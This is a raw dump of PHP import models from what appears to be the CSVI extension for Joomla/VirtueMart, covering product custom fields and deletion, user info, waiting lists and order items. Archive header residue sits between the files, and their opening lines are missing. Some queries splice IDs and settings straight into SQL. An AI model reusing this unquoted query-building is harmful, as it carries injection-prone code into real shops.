$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_MANUFACTURER_ID_ID'), true); $mf_id = $db->loadResult(); } // Check if we have a result if (!$mf_id) { $query = $db->getQuery(true); $query->select('MIN(virtuemart_manufacturer_id)'); $query->from('#__virtuemart_manufacturers'); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_DEFAULT_MANUFACTURER_ID'), true); $mf_id = $db->loadResult(); } $this->_manufacturers_lang->virtuemart_manufacturer_id = $mf_id; } /** * Create image name * * Check if the user wants to have CSVI VirtueMart create the image names if so * create the image names without path * * @copyright * @author RolandD * @todo * @see processImage() * @access private * @param * @return * @since 3.0 */ private function _createImageName() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $csvilog->addDebug(JText::_('COM_CSVI_GENERATE_IMAGE_NAME')); // Create extension $ext = $template->get('autogenerateext', 'image'); // Check if the user wants to convert the images to a different type switch ($template->get('type_generate_image_name', 'image')) { case 'product_sku': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_PRODUCT_SKU_NAME')); if (!is_null($this->product_sku)) $name = $this->product_sku; else { $csvilog->AddStats('error', JText::_('COM_CSVI_CANNOT_FIND_PRODUCT_SKU')); return false; } break; case 'product_name': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_PRODUCT_NAME_NAME')); if (!is_null($this->_products_lang->product_name)) $name = $this->_products_lang->product_name; else { $csvilog->AddStats('error', JText::_('COM_CSVI_CANNOT_FIND_PRODUCT_NAME')); return false; } break; case 'product_id': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_PRODUCT_ID_NAME')); if (!is_null($this->virtuemart_product_id)) $name = $this->virtuemart_product_id; else { $csvilog->AddStats('error', JText::_('COM_CSVI_CANNOT_FIND_PRODUCT_ID')); return false; } break; case 'random': $csvilog->addDebug(JText::_('COM_CSVI_CREATE_RANDOM_NAME')); $name = mt_rand(); break; } $image_name = $name.'.'.$ext; $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATED_IMAGE_NAME', $image_name)); $this->product_full_image_output = $image_name; // Check if the user is supplying image data if (is_null($this->file_url)) $this->file_url = $this->product_full_image_output; return true; } /** * Process custom fields * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _processCustomFields() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Get the values $values = explode('~', $this->custom_value); $prices = explode('~', $this->custom_price); $params = explode('~', $this->custom_param); $titles = explode('~', $this->custom_title); if (!empty($values)) { foreach ($values as $key => $value) { // Get the custom ID if (!isset($this->customtitles[$titles[$key]])) { $query = $db->getQuery(true); $query->select('virtuemart_custom_id'); $query->from('#__virtuemart_customs'); $query->where($db->quoteName('custom_title').' = '.$db->Quote($titles[$key])); $db->setQuery($query); $virtuemart_custom_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CUSTOMFIELD_QUERY'), true); if ($virtuemart_custom_id) { $this->customtitles[$titles[$key]] = $virtuemart_custom_id; // Empty out any existing values $query = $db->getQuery(true); $query->delete($db->quoteName('#__virtuemart_product_customfields')); $query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($this->virtuemart_product_id)); $query->where($db->quoteName('virtuemart_custom_id').' = '.$virtuemart_custom_id); $db->setQuery($query); $db->query(); $csvilog->addDebug('COM_CSVI_REMOVE_EXISTING_CUSTOM_VALUES', true); } else { $csvilog->addDebug('COM_CSVI_NO_CUSTOM_ID_FOUND'); return false; } } else { $virtuemart_custom_id = $this->customtitles[$titles[$key]]; } // Set the product ID $this->_product_customfields->virtuemart_product_id = $this->virtuemart_product_id; $this->_product_customfields->virtuemart_custom_id = $virtuemart_custom_id; $this->_product_customfields->custom_value = $value; if (isset($prices[$key])) $this->_product_customfields->custom_price = $prices[$key]; if (isset($params[$key])) { // See if we are dealing with a stockable variant if ($value == 'stockable') { // We need to create a new object $param_value = new stdClass(); $param_value->child = new stdClass(); // Data is received in the format: // product_sku[option1#option2[price;product_sku[option1#option2[price // Get all the products $param_entries = explode(';', $params[$key]); foreach ($param_entries as $entry) { $param_sku = false; $entry_parts = explode('[', $entry); // Create the new class $sku = new stdClass(); $sku->is_variant = 1; if (isset($entry_parts[0]) && !empty($entry_parts[0])) { // Find the product ID $param_sku = $entry_parts[0]; $params_options = explode('#', $entry_parts[1]); foreach ($params_options as $pkey => $param_option) { $name = 'selectoptions'.($pkey+1); $sku->$name = $param_option; } if (isset($entry_parts[2]) && !empty($entry_parts[2])) $sku->custom_price = $entry_parts[2]; else $sku->custom_price = ''; } if ($param_sku) $param_value->child->$param_sku = $sku; } $this->_product_customfields->custom_param = json_encode($param_value); } else $this->_product_customfields->custom_param = $params[$key]; } // Check for an existing entry if (!$this->_product_customfields->check()) { $this->_product_customfields->created_on = $this->date->toSql(); $this->_product_customfields->created_by = $this->user->id; } // Set a modified date if (!isset($this->modified_on)) { $this->_product_customfields->modified_on = $this->date->toSql(); $this->_product_customfields->modified_by = $this->user->id; } else { $this->_product_customfields->modified_on = $this->modified_on; $this->_product_customfields->modified_by = $this->user->id; } // Store the custom field $this->_product_customfields->store(); $csvilog->addDebug('COM_CSVI_DEBUG_CUSTOMFIELD_QUERY', true); // Reset the field $this->_product_customfields->reset(); } } } /** * Delete a product and its references * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteProduct() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the product if ($this->_products->delete($this->virtuemart_product_id)) { $db = JFactory::getDbo(); // Delete product translations jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); foreach ($languages as $language){ $query = $db->getQuery(true); $query->delete('#__virtuemart_products_'.strtolower(str_replace('-', '_', $language))); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_LANG_XREF'), true); $db->query(); } // Delete category reference $query = $db->getQuery(true); $query->delete('#__virtuemart_product_categories'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CATEGORY_XREF'), true); $db->query(); // Delete manufacturer reference $query = $db->getQuery(true); $query->delete('#__virtuemart_product_manufacturers'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MANUFACTURER_XREF'), true); $db->query(); // Reset child parent reference $query = $db->getQuery(true); $query->update('#__virtuemart_products'); $query->set('product_parent_id = 0'); $query->where('product_parent_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_PARENT'), true); $db->query(); // Delete prices $query = $db->getQuery(true); $query->delete('#__virtuemart_product_prices'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRICES_XREF'), true); $db->query(); // Delete shopper groups $query = $db->getQuery(true); $query->delete('#__virtuemart_product_shoppergroups'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_SHOPPERGROUP_XREF'), true); $db->query(); // Delete prices $query = $db->getQuery(true); $query->delete('#__virtuemart_product_prices'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRICES_XREF'), true); $db->query(); // Delete custom fields $query = $db->getQuery(true); $query->delete('#__virtuemart_product_customfields'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CUSTOMFIELDS_XREF'), true); $db->query(); // Delete media $query = $db->getQuery(true); $query->delete('#__virtuemart_product_medias'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MEDIA_XREF'), true); $db->query(); // Delete ratings $query = $db->getQuery(true); $query->delete('#__virtuemart_product_ratings'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_RATINGS_XREF'), true); $db->query(); // Delete rating reviews $query = $db->getQuery(true); $query->delete('#__virtuemart_product_rating_reviews'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_RATING_REVIEWS_XREF'), true); $db->query(); // Delete rating votes $query = $db->getQuery(true); $query->delete('#__virtuemart_product_rating_votes'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_RATING_VOTES_XREF'), true); $db->query(); $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_PRODUCT_DELETED', $this->record_identity)); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_NOT_DELETED', $this->record_identity)); } return true; } /** * Convert the product SKU to product ID in the parent properties * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 1.0 */ private function _processParentValues() { if (isset($this->product_sku) && !is_null($this->product_parent_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $param_sku = $this->_products->virtuemart_product_id; $sku = $this->product_sku; // Load the values $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('custom_param'); $query->from('#__virtuemart_product_customfields'); $query->where('virtuemart_product_id = '.$this->product_parent_id); $query->where('custom_value = '.$db->quote('stockable')); $db->setQuery($query); $params = $db->loadResult(); $values = json_decode($params); // Replace the key if it exists if (isset($values->child->$sku)) { $values->child->$param_sku = $values->child->$sku; unset($values->child->$sku); // Store the values $query = $db->getQuery(true); $query->update('#__virtuemart_product_customfields'); $query->set('custom_param = '.$db->quote(json_encode($values))); $query->where('virtuemart_product_id = '.$this->product_parent_id); $query->where('custom_value = '.$db->quote('stockable')); $db->setQuery($query); $db->query(); $csvilog->addDebug('COM_CSVI_DEBUG_STORE_PARENT_VALUE', true); } else { $csvilog->addDebug('COM_CSVI_DEBUG_NO_PARENT_VALUE_FOUND', true); } } } /** * Process the shopper groups * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.5.2 */ private function _processShopperGroup() { if (!empty($this->shopper_group_name)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Get the shopper group names $names = explode('|', $this->shopper_group_name); foreach ($names as $name) { $data = array(); $data['virtuemart_shoppergroup_id'] = $this->helper->getShopperGroupId($name); $data['virtuemart_product_id'] = $this->virtuemart_product_id; $this->_product_shoppergroups->bind($data); if(!$this->_product_shoppergroups->check()) { if ($this->_product_shoppergroups->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_SHOPPERGROUP')); else if ($this->queryResult() == 'INSERT') $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_SHOPPERGROUP')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_SHOPPERGROUP_NOT_ADDED', $this->_product_shoppergroups->getError())); return false; } } } } } }PK@y>\«x$;$;Ccomponents/com_csvi/models/com_virtuemart/import/userinfoimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo change cdate/mdate to use JDate * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'address_type': switch (strtolower($value)) { case 'shipping address': case 'st': $this->$name = 'ST'; break; case 'billing address': case 'bt': default: $this->$name = 'BT'; break; } break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo Add a beter text for MISSING_REQUIRED_FIELDS * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $userdata = array(); jimport('joomla.user.helper'); // See if we have a user_info_id if (empty($this->virtuemart_userinfo_id)) { // No user_info_id, maybe we have user_id, address_type and address_type_name if ((!isset($this->virtuemart_user_id) && (!isset($this->email))) || !isset($this->address_type) || !isset($this->address_type_name)) { // No way to identify what needs to be updated, set error and return $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MISSING_REQUIRED_FIELDS')); return false; } } // We have a virtuemart_userinfo_id, do we have a virtuemart_user_id else { $query = $db->getQuery(true); $query->select('virtuemart_user_id'); $query->from('#__virtuemart_userinfos'); $query->where('virtuemart_userinfo_id = '.$db->Quote($this->virtuemart_userinfo_id)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_FIND_USER_ID_FROM_VM'), true); $this->virtuemart_user_id = $db->loadResult(); } // Check for the user_info_id if (empty($this->virtuemart_userinfo_id)) { // See if we have a user_id or user_email if (!isset($this->virtuemart_user_id) && isset($this->email)) { // We have an e-mail address, find the user_id $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('email = '.$db->Quote($this->email)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_FIND_USER_ID_FROM_JOOMLA'), true); $this->virtuemart_user_id = $db->loadResult(); } if ($this->virtuemart_user_id) { // if we have a user_id we can get the user_info_id $query = $db->getQuery(true); $query->select('virtuemart_userinfo_id'); $query->from('#__virtuemart_userinfos'); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $query->where('address_type = '.$db->Quote($this->address_type)); $query->where('address_type_name = '.$db->Quote($this->address_type_name)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_FIND_USER_INFO_ID'), true); $this->virtuemart_userinfo_id = $db->loadResult(); } } // If it is a new Joomla user but no username is set, we must set one if ((!isset($this->virtuemart_user_id) || !$this->virtuemart_user_id) && !isset($this->username)) { $userdata['username'] = $this->email; } // Set the username else if (isset($this->username)) $userdata['username'] = $this->username; // Check if we have an encrypted password if (isset($this->password_crypt)) { $userdata['password'] = $this->password_crypt; } else if (isset($this->password)) { // Check if we have an encrypted password $salt = JUserHelper::genRandomPassword(32); $crypt = JUserHelper::getCryptedPassword($this->password, $salt); $password = $crypt.':'.$salt; $userdata['password'] = $password; } // No user id, need to create a user if possible if (!isset($this->virtuemart_user_id) && isset($this->email) && isset($this->password)) { // Set the creation date $date = JFactory::getDate(); $userdata['registerDate'] = $date->toMySQL(); } else if (!isset($this->virtuemart_user_id) && (!isset($this->email) || !isset($this->password))) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_NEW_USER_PASSWORD_EMAIL')); return false; } else { // Set the id $userdata['id'] = $this->virtuemart_user_id; } // Only store the Joomla user if there is an e-mail address supplied if (isset($this->email)) { // Set the name if (isset($this->name)) $userdata['name'] = $this->name; else { $fullname = false; if (isset($this->first_name)) $fullname .= $this->first_name.' '; if (isset($this->last_name)) $fullname .= $this->last_name; if (!$fullname) $fullname = $this->user_email; $userdata['name'] = trim($fullname); } // Set the email $userdata['email'] = $this->email; // Set if the user is blocked if (isset($this->block)) $userdata['block'] = $this->block; // Set the sendEmail if (isset($this->sendemail)) $userdata['sendEmail'] = $this->sendemail; // Set the registerDate if (isset($this->registerdate)) $userdata['registerDate'] = $this->registerdate; // Set the lastvisitDate if (isset($this->lastvisitdate)) $userdata['lastvisitDate'] = $this->lastvisitdate; // Set the activation if (isset($this->activation)) $userdata['activation'] = $this->activation; // Set the params if (isset($this->params)) $userdata['params'] = $this->params; // Check if we have a group ID if (!isset($this->group_id)) { $query = $db->getQuery(true); $query->select('id'); $query->from('#__usergroups'); $query->where($db->quoteName('title').' = '.$db->Quote($this->usergroup_name)); $db->setQuery($query); $this->group_id = $db->loadResult(); if (empty($this->group_id)) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_USERGROUP_FOUND', $this->usergroup_name)); return false; } } // Bind the data $this->_user->bind($userdata); // Store/update the user if ($this->_user->store()) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_STORED'), true); // Get the new user ID $this->virtuemart_user_id = $this->_user->id; // Empty the usergroup map table $query = $db->getQuery(true); $query->delete('#__user_usergroup_map'); $query->where('user_id = '.$this->virtuemart_user_id); $db->setQuery($query); $db->query(); // Store the user in the usergroup map table $query = $db->getQuery(true); $query->insert('#__user_usergroup_map'); $query->values($this->virtuemart_user_id.', '.$this->group_id); $db->setQuery($query); // Store the map if ($db->query()) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_MAP_STORED'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_MAP_NOT_STORED'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_NOT_STORED'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_JOOMLA_USER_SKIPPED')); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_userinfos->modified_on = $this->date->toMySQL(); $this->_userinfos->modified_by = $this->user->id; } // Bind the VirtueMart user data $this->_userinfos->bind($this); // Store the VirtueMart user info if ($this->_userinfos->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_USERINFO')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_USERINFO')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_USERINFO_NOT_ADDED', $this->_userinfos->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_USERINFO_QUERY'), true); // See if there is any shopper group information to be stored // user_id, vendor_id, shopper_group_id, customer number // Get the user_id if (!isset($this->virtuemart_user_id) && isset($this->_userinfos->virtuemart_userinfo_id)) { $this->virtuemart_user_id = $_userinfos->virtuemart_user_id; } // Get the vendor_id if (empty($this->virtuemart_vendor_id) && isset($this->vendor_name)) { $query = $db->getQuery(true); $query->select('virtuemart_vendor_id'); $query->from('#__virtuemart_vendors'); $query->where('vendor_name = '.$db->Quote($this->vendor_name)); $db->setQuery($query); $this->virtuemart_vendor_id = $db->loadResult(); if (empty($this->vendor_id)) $this->virtuemart_vendor_id = $this->helper->getVendorId(); } else $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Get the shopper_group_id if (empty($this->virtuemart_shoppergroup_id) && isset($this->shopper_group_name)) { $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_shoppergroups'); $query->where('shopper_group_name = '.$db->Quote($this->shopper_group_name)); $db->setQuery($query); $this->virtuemart_shoppergroup_id = $db->loadResult(); if (empty($this->virtuemart_shoppergroup_id)) $this->virtuemart_shoppergroup_id = $this->helper->getDefaultShopperGroupID(); } else if (!isset($this->virtuemart_shoppergroup_id) && !isset($this->shopper_group_name)) $this->virtuemart_shoppergroup_id = $this->helper->getDefaultShopperGroupID(); // Bind the shopper group data $this->_vmuser_shoppergroups->bind($this); $this->_vmuser_shoppergroups->check(); if ($this->_vmuser_shoppergroups->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_SHOPPER_GROUP')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_SHOPPER_GROUP')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SHOPPER_GROUP_NOT_ADDED', $this->_vmuser_shoppergroups->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_SHOPPER_GROUP_QUERY'), true); // See if there is any vmusers entry $this->_vmusers->load($this->virtuemart_user_id); if (empty($this->_vmusers->virtuemart_user_id)) { if (!isset($this->user_is_vendor)) $this->user_is_vendor = 0; if (!isset($this->customer_number)) $this->customer_number = md5($userdata['username']); if (!isset($this->perms)) $this->perms = 'shopper'; if (!isset($this->virtuemart_paymentmethod_id)) $this->virtuemart_paymentmethod_id = null; if (!isset($this->virtuemart_shipmentmethod_id)) $this->virtuemart_shipmentmethod_id = null; if (!isset($this->agreed)) $this->agreed = 0; } // Bind the data $this->_vmusers->bind($this); // Check the vmusers table if ($this->_vmusers->check()) { // Update the dates if (!isset($this->modified_on)) { $this->_vmusers->modified_on = $this->date->toMySQL(); $this->_vmusers->modified_by = $this->user->id; } } else { $this->_vmusers->created_on = $this->date->toMySQL(); $this->_vmusers->created_by = $this->user->id; } // Store the vmusers data if ($this->_vmusers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_VMUSERS')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_VMUSERS')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_VMUSERS_NOT_ADDED', $this->_vmusers->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_VMUSERS_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the user info related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_userinfos = $this->getTable('userinfos'); $this->_vmusers = $this->getTable('vmusers'); $this->_vmuser_shoppergroups = $this->getTable('vmuser_shoppergroups'); $this->_user = $this->getTable('users'); } /** * Cleaning the user info related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_userinfos->reset(); $this->_vmusers->reset(); $this->_vmuser_shoppergroups->reset(); $this->_user->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PK@y>\#o,,;components/com_csvi/models/com_virtuemart/import/index.htmlnuW+APK@y>\ХiFcomponents/com_csvi/models/com_virtuemart/import/waitinglistimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_product_id = $this->helper->getProductId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Get the user ID if (empty($this->virtuemart_user_id)) { $this->virtuemart_user_id = $this->_getUserId(); if (empty($this->virtuemart_user_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_WAITINGLIST_NO_USER_FOUND')); return false; } } if (empty($this->virtuemart_product_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_WAITINGLIST_NO_PRODUCT_FOUND')); return false; } if ($this->virtuemart_product_id && $this->virtuemart_user_id && $this->notify_email) { // Bind the data $this->_waitingusers->bind($this); // Check the data $this->_waitingusers->check(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_waitingusers->modified_on = $this->date->toMySQL(); $this->_waitingusers->modified_by = $this->user->id; } if (empty($this->_waitingusers->virtuemart_waitinguser_id)) { $this->_waitingusers->created_on = $this->date->toMySQL(); $this->_waitingusers->created_by = $this->user->id; } // Store the data if ($this->_waitingusers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_WAITINGLIST')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_WAITINGLIST')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_WAITINGLIST_NOT_ADDED', $this->_waitingusers->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_WAITINGLIST_QUERY'), true); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_WAITINGLIST_NO_USER_PRODUCT_ID')); } // Clean the tables $this->cleanTables(); } /** * Load the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.01 */ private function _loadTables() { $this->_waitingusers = $this->getTable('waitingusers'); } /** * Cleaning the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.1 */ protected function cleanTables() { $this->_waitingusers->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the user ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed int when user ID found | false when not found * @since 3.1 */ private function _getUserId() { if (isset($this->username)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id'); $query->from('#__users'); $query->where('username = '.$db->Quote($this->username)); $db->setQuery($query); $result = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_FIND_USER_ID'), true); if ($result) return $result; else return false; } else return false; } } ?>PK@y>\sRffDcomponents/com_csvi/models/com_virtuemart/import/orderitemimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'product_price': $this->product_item_price = $this->cleanPrice($value); break; case 'product_final_price': $this->$name = $this->cleanPrice($value); break; case 'product_sku': $this->order_item_sku = $value; $this->product_sku = $value; break; case 'product_name': $this->order_item_name = $value; break; case 'created_on': $this->cdate = $this->convertDate($value); break; case 'modified_on': $this->mdate = $this->convertDate($value); break; case 'address_type': switch (strtolower($name)) { case 'shipping address': case 'st': $this->$name = 'ST'; break; case 'billing address': case 'bt': default: $this->$name = 'BT'; break; } break; case 'order_status_name': $this->order_status = $this->helper->getOrderStatus($value); break; default: $this->$name = $value; break; } } // Check if we have an order ID if (!isset($this->virtuemart_order_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_ORDER_ID_FOUND')); return false; } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check for product ID if (!isset($this->virtuemart_product_id) && isset($this->product_sku)) { $this->virtuemart_product_id = $this->helper->getProductId(); if (empty($this->virtuemart_product_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_PRODUCT_ID_FOUND')); return false; } } else if (isset($this->virtuemart_product_id) && !isset($this->product_sku)) { $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $this->order_item_sku = $db->loadResult(); } else if (!isset($this->virtuemart_product_id) && !isset($this->product_sku)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_PRODUCT_ID_OR_SKU')); return false; } // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_order_items->modified_on = $this->date->toMySQL(); $this->_order_items->modified_by = $this->user->id; } // Check if there is an existing order item $query = $db->getQuery(true); $query->select('virtuemart_order_item_id'); $query->from('#__virtuemart_order_items'); $query->where('virtuemart_order_id = '.$this->virtuemart_order_id); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $query->where('virtuemart_vendor_id = '.$this->virtuemart_vendor_id); $db->setQuery($query); $this->virtuemart_order_item_id = $db->loadResult(); if (empty($this->virtuemart_order_item_id) && !isset($this->created_on)) { $this->_order_items->created_on = $this->date->toMySQL(); $this->_order_items->created_by = $this->user->id; } else { $this->_order_items->load($this->virtuemart_order_item_id); } // Bind the data $this->_order_items->bind($this); // Check if we have a product name if (empty($this->_order_items->order_item_name)) { $query = $db->getQuery(true); $query->select('product_name'); $query->from('#__virtuemart_products_'.$template->get('language', 'general')); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $this->_order_items->order_item_name = $db->loadResult(); } // Store the data if ($this->_order_items->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_ORDER_ITEM')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_ORDER_ITEM')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ORDER_ITEM_NOT_ADDED', $this->_order_items->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_ORDER_ITEM_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the order item related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_order_items = $this->getTable('order_items'); } /** * Cleaning the order item related tables * * @copyright * @author 